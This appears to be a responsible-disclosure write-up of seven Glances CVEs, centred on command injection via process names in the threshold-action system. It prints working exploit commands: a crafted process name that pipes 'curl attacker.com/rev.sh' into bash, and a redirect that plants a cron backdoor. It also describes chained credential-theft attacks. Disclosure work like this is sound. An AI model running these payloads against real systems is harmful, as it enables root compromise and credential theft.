TL;DR — Glances (27k+ GitHub stars) has a configurable action system that runs shell commands when monitoring thresholds are exceeded. Template variables like {{name}} are populated from process stats and rendered with Mustache. The rendered string is then split on |, &&, and > to simulate shell piping. A process named innocent|curl attacker.com/shell.sh|bash injects arbitrary commands. Six more vulnerabilities chain into it — credential exposure, CORS bypass, DNS rebinding, and Zeroconf spoofing. Seven CVEs total, all fixed in v4.5.2.

the action system

Glances lets administrators configure actions that trigger on threshold breaches. In glances.conf:

[cpu]
critical_action=echo "High CPU: {{name}}" | mail [email protected]

[processlist]
critical_action=echo "ALERT: {{name}} at {{cpu_percent}}%" >> /tmp/alerts.log

When a process exceeds the critical threshold, Glances renders the Mustache template with the actual process stats, then executes the result. The rendering uses Chevron (a Python Mustache implementation). The execution uses secure_popen().

the "secure" popen

Despite its name, secure_popen() in glances/secure.py is the vulnerability. It implements its own shell operator parsing:

def secure_popen(cmd):
    ret = ''
    for c in cmd.split('&&'):      # split on &&
        ret += __secure_popen(c)
    return ret

def __secure_popen(cmd):
    cmd_split_redirect = cmd.split('>')   # split on >
    for sub_cmd in cmd.split('|'):        # split on |
        # Each segment executed as subprocess.Popen()

The splitting happens after Mustache rendering. The rendered {{name}} value is already embedded in the command string when the split runs. If the process name contains |, &&, or >, those characters become shell operators.

the exploit

Create a process with a crafted name:

# Copy any binary and give it a malicious name
cp /bin/sleep "/tmp/innocent|curl attacker.com/rev.sh|bash"

# Run it so Glances sees it in the process list
"/tmp/innocent|curl attacker.com/rev.sh|bash" 99999 &

When this process hits the CPU critical threshold, the action template renders to:

echo "ALERT: innocent|curl attacker.com/rev.sh|bash at 99% CPU"

secure_popen() splits on |: - Segment 1: echo "ALERT: innocent - Segment 2: curl attacker.com/rev.shattacker controlled - Segment 3: bash at 99% CPU"

Segment 2 downloads a reverse shell script. Segment 3 tries to run bash with garbage args (fails silently). The attacker has code execution as whatever user runs Glances — often root, since system monitoring typically needs elevated privileges.

The > redirect handler is equally dangerous — it writes to arbitrary file paths:

# Process name: "x > /etc/cron.d/backdoor"
# After rendering: echo "ALERT: x > /etc/cron.d/backdoor at 99%"
# secure_popen splits on >, writes to /etc/cron.d/backdoor

the other six

The command injection is the flashiest bug, but the other six create a comprehensive attack surface:

CVE-2026-32633 (Critical): The /api/4/serverslist endpoint in Central Browser mode returns raw server objects including embedded HTTP Basic credentials. The pbkdf2 password hash is reusable against any Glances instance sharing the same password. Completely unauthenticated when running without --password.

CVE-2026-32610 (High): Default CORS is allow_origins=["*"] with allow_credentials=True. Any website can read all Glances API data cross-origin — process lists, system stats, configuration including database passwords.

CVE-2026-32609 (High): The /api/v4/args endpoint leaks the password hash, SNMP community strings, SNMP credentials, and config file paths. A prior fix covered /api/v4/config but missed /api/v4/args.

CVE-2026-32611 (High): SQL injection in DuckDB export via unparameterized DDL. Table and column names from monitoring stats are interpolated directly into CREATE TABLE and INSERT INTO statements via f-strings.

CVE-2026-32634 (High): Zeroconf autodiscovery uses the untrusted service name as the network destination instead of the discovered ip. An attacker on the LAN advertises a fake _glances._tcp.local. service, and the browser sends credentials to the attacker's server automatically.

CVE-2026-32632 (Moderate): No TrustedHostMiddleware on the REST API. Combined with the default 0.0.0.0 bind, DNS rebinding bypasses all network-level access controls.

the chains

These compose:

  • CORS + args leak: Any website steals SNMP credentials and password hashes
  • DNS rebinding + any API leak: Reaches "internal-only" Glances from the internet
  • Zeroconf spoofing: Adjacent-network credential theft, zero user interaction
  • Command injection: Local priv-esc from any user to root

All seven fixed in Glances v4.5.2. The command injection fix sanitizes the Mustache dictionary before rendering, stripping |, &&, >, and >> from all string values.

This research was conducted for responsible disclosure purposes. CVE-2026-32608, CVE-2026-32609, CVE-2026-32610, CVE-2026-32611, CVE-2026-32632, CVE-2026-32633, CVE-2026-32634.